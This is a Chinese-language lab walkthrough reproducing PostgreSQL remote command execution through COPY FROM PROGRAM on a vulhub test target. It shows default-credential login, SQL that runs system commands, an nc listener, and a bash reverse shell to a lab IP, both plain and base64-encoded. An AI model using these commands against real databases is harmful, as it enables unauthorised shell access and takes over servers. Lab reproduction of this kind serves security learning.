使用的是
github
上的vulhub
环境。PostgreSQL
版本为10.7
。
具有数据库服务器文件读取权限的攻击者可以利用此漏洞执行任意系统命令。
COPY TO/FROM PROGRAM
功能,允许数据库的超级用户以及 pg_read_server_files
组中的任何用户执行操作系统命令。漏洞利用前提:
所以要先弱口令爆破之后,然后查看是否是高权限。(对于PostgreSQL 来说,只有安装数据库时默认创建的超级用户 postgres,类似于 Linux上的root用户,拥有高权限。)
新建数据库用户:CREATE USER
新建数据库:CREATE DATABASE
删除数据库:DROP DATABASE
删除用户:DROP USER
撤销权限:REVOKE
赋权:GRANT
受影响的版本(貌似更新版本无解)
docker-compose up -d
注:当测试完成之后会用到
关闭靶机
的命令。不是现在就要使用的命令。
docker-compose down -v
账号密码:
postgres:postgres
。
右键
public
,点击新建查询
。
然后就是执行下面的这些命令。
-- 先删除你想要使用但是已经存在的表
DROP TABLE IF EXISTS cmd_exec;
-- 创建保存系统命令输出的表
CREATE TABLE cmd_exec(cmd_output text);
-- 执行系统命令利用特定函数
COPY cmd_exec FROM PROGRAM 'id';
-- 查看执行结果
SELECT * FROM cmd_exec;
在 kali 中使用 nc 进行监听。
nc -lvvp 1314
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM '/bin/bash -i >& /dev/tcp/192.168.2.130/1314 0>&1';
SELECT * FROM cmd_exec;
但是可以看出执行失败了,这种方法不行。
kali 也没有得到 shell。
将反弹 shell 的命令 base64 编码一下。(下面的解码不用管)
# base64 编码前
/bin/bash -i >& /dev/tcp/192.168.2.130/1314 0>&1
# base64 编码后
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xMzAvMTMxNCAwPiYxCg==
这里的编码不仅仅限于
base64
,其他编码形式也可以,主要是为了解决数据传输过程中的特殊字符被异常解析的问题。
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xMzAvMTMxNCAwPiYxCg==" | base64 -d | bash';
SELECT * FROM cmd_exec;
pg_read_server_files,pg_write_server_files 和 pg_execute_server_program
角色涉及读取和写入具有大权限的数据库服务器文件。将此角色权限分配给数据库用户时,应慎重考虑;如果对您有帮助,点个赞再走呗。